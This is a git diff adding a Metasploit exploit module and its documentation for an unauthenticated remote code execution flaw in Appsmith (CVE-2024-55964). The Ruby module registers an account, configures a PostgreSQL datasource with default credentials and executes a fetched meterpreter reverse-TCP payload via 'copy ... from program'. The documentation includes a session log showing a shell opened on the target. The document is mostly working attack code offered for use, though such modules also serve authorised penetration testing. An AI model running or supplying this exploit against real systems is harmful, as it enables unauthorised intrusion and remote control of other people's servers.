diff --git a/documentation/modules/exploit/linux/http/appsmith_rce_cve_2024_55964.md b/documentation/modules/exploit/linux/http/appsmith_rce_cve_2024_55964.md new file mode 100644 index 0000000000..6647d1bf53 --- /dev/null +++ b/documentation/modules/exploit/linux/http/appsmith_rce_cve_2024_55964.md @@ -0,0 +1,105 @@ +## Vulnerable Application + +An incorrectly configured PostgreSQL instance in the Appsmith image leads to remote command execution inside the Appsmith Docker container. + +The vulnerability affects: + + * v1.20 <= Appsmith <= v1.51 + +This module was successfully tested on: + + * Appsmith v1.50 installed with Docker + + +### Installation + +1. Create a docker-compose.yml file with: +``` +version: "3" +services: + appsmith: + image: index.docker.io/appsmith/appsmith-ce:v1.50 + container_name: appsmith + ports: + - "80:80" + - "443:443" + volumes: + - ./stacks:/appsmith-stacks + restart: unless-stopped +``` + +2. `docker-compose up` + + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Do: `use exploit/linux/http/appsmith_rce_cve_2024_55964` +4. Do: `run lhost= rhost=` +5. You should get a meterpreter + + +## Options + + +## Scenarios +``` +msf6 > use exploit/linux/http/appsmith_rce_cve_2024_55964 +[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(linux/http/appsmith_rce_cve_2024_55964) > options + +Module options (exploit/linux/http/appsmith_rce_cve_2024_55964): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE true yes Attempt to delete the binary after execution + FETCH_FILENAME XIYHCHbc no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces + LHOST yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/http/appsmith_rce_cve_2024_55964) > run lhost=172.18.0.1 rhost=172.18.0.2 rport=80 +[*] Started reverse TCP handler on 172.18.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 1.50 detected. +[*] Successfully signed up. +[*] Successfully saved DB configuration. +[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:56752) at 2025-04-05 14:41:08 +0900 + +meterpreter > getuid +Server username: postgres +meterpreter > sysinfo +Computer : 172.18.0.2 +OS : Ubuntu 20.04 (Linux 6.6.15-amd64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/modules/exploits/linux/http/appsmith_rce_cve_2024_55964.rb b/modules/exploits/linux/http/appsmith_rce_cve_2024_55964.rb new file mode 100644 index 0000000000..968ea52c63 --- /dev/null +++ b/modules/exploits/linux/http/appsmith_rce_cve_2024_55964.rb @@ -0,0 +1,182 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Appsmith RCE', + 'Description' => %q{ + An incorrectly configured PostgreSQL instance in the Appsmith image leads to remote command execution inside the Appsmith Docker container. + }, + 'Author' => [ + 'Whit Taylor (Rhino Security Labs)', # Vulnerability discovery and PoC + 'Takahiro Yokoyama' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-55964'], # Seems like correct CVE is not CVE-2024-55963 but CVE-2024-55964. + ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-55963-unauthenticated-rce-in-appsmith/'], + ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/blob/master/CVE-2024-55963/poc.py'], + ], + 'Platform' => %w[linux], + 'Targets' => [ + [ + 'Linux Command', { + 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, + 'DefaultOptions' => { + # defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp + 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' + } + } + ], + ], + 'DefaultOptions' => { + 'FETCH_DELETE' => true + }, + 'DefaultTarget' => 0, + 'Payload' => { + 'BadChars' => '\'"' + }, + 'DisclosureDate' => '2025-03-25', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + register_options( + [ + Opt::RPORT(443), + ] + ) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'applications') + }) + return Exploit::CheckCode::Unknown unless res&.code == 200 + + html_document = res.get_html_document + return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank? + + version_element = html_document.text.match(/parseConfig\('v(\d+\.\d+)'\)/) + return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank? + + version = Rex::Version.new(version_element[1]) + return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('1.20'), Rex::Version.new('1.51')) + + Exploit::CheckCode::Appears("Version #{version} detected.") + end + + def exploit + user = { 'email' => "#{rand_text_alphanumeric(3)}@#{rand_text_alphanumeric(3)}.com", 'password' => rand_text_alphanumeric(10).to_s } + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/v1/users'), + 'keep_cookies' => true, + 'vars_post' => user + }) + fail_with(Failure::Unknown, 'Failed to signup.') unless res&.code == 302 + print_status('Successfully signed up.') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/v1/workspaces/home') + }) + fail_with(Failure::Unknown, 'Failed to access workspaces.') unless res&.code == 200 + + workspace_id = res.get_json_document['data'][0]['id'] + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api/v1/plugins/default/icons') + }) + fail_with(Failure::Unknown, 'Failed to get plugin information.') unless res&.code == 200 + + postgresql_plugin = res.get_json_document['data']&.detect { |row| row['name'] == 'PostgreSQL' } + fail_with(Failure::Unknown, 'Failed to get PostgreSQL plugin information.') unless postgresql_plugin + + postgresql_plugin_id = postgresql_plugin['id'] + + db_conf = { + 'datasourceStorages' => { + 'unused_env' => { + 'datasourceConfiguration' => { + 'authentication' => { + 'databaseName' => 'postgres', + 'password' => 'postgres', + 'username' => 'postgres' + }, + 'connection' => { + 'mode' => 'READ_WRITE', + 'ssl' => { 'authType' => 'DEFAULT' } + }, + 'endpoints' => [ + { 'host' => 'localhost', 'port' => '5432' } + ], + 'properties' => [ + nil, + { 'key' => 'Connection method', 'value' => 'STANDARD' } + ], + 'sshProxy' => { 'endpoints' => [{ 'port' => '22' }] }, + 'url' => '' + }, + 'datasourceId' => '', + 'environmentId' => 'unused_env', + 'isConfigured' => true + } + }, + 'name' => rand_text_alphanumeric(20), + 'pluginId' => postgresql_plugin_id, + 'workspaceId' => workspace_id + }.to_json + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api/v1/datasources'), + 'ctype' => 'application/json', + 'data' => db_conf + }) + fail_with(Failure::Unknown, 'Failed to save DB configuration.') unless res&.code == 201 && res.get_json_document['responseMeta']['success'] + print_status('Successfully saved DB configuration.') + + datasource_id = res.get_json_document['data']['id'] + + table_name = rand_text_alpha(4) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "api/v1/datasources/#{datasource_id}/schema-preview"), + 'ctype' => 'application/json', + 'data' => { + title: 'SELECT', + body: "create temporary table #{table_name} (column1 TEXT);", + suggested: true + }.to_json + }) + fail_with(Failure::Unknown, 'Failed to create temporary table.') unless res&.code == 200 && res.get_json_document['responseMeta']['success'] + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "api/v1/datasources/#{datasource_id}/schema-preview"), + 'ctype' => 'application/json', + 'data' => { + title: 'SELECT', + body: "copy #{table_name} from program '#{payload.encode}';", + suggested: true + }.to_json + }) + fail_with(Failure::Unknown, 'Failed to execute payload.') unless res&.code == 200 && res.get_json_document['responseMeta']['success'] + end + +end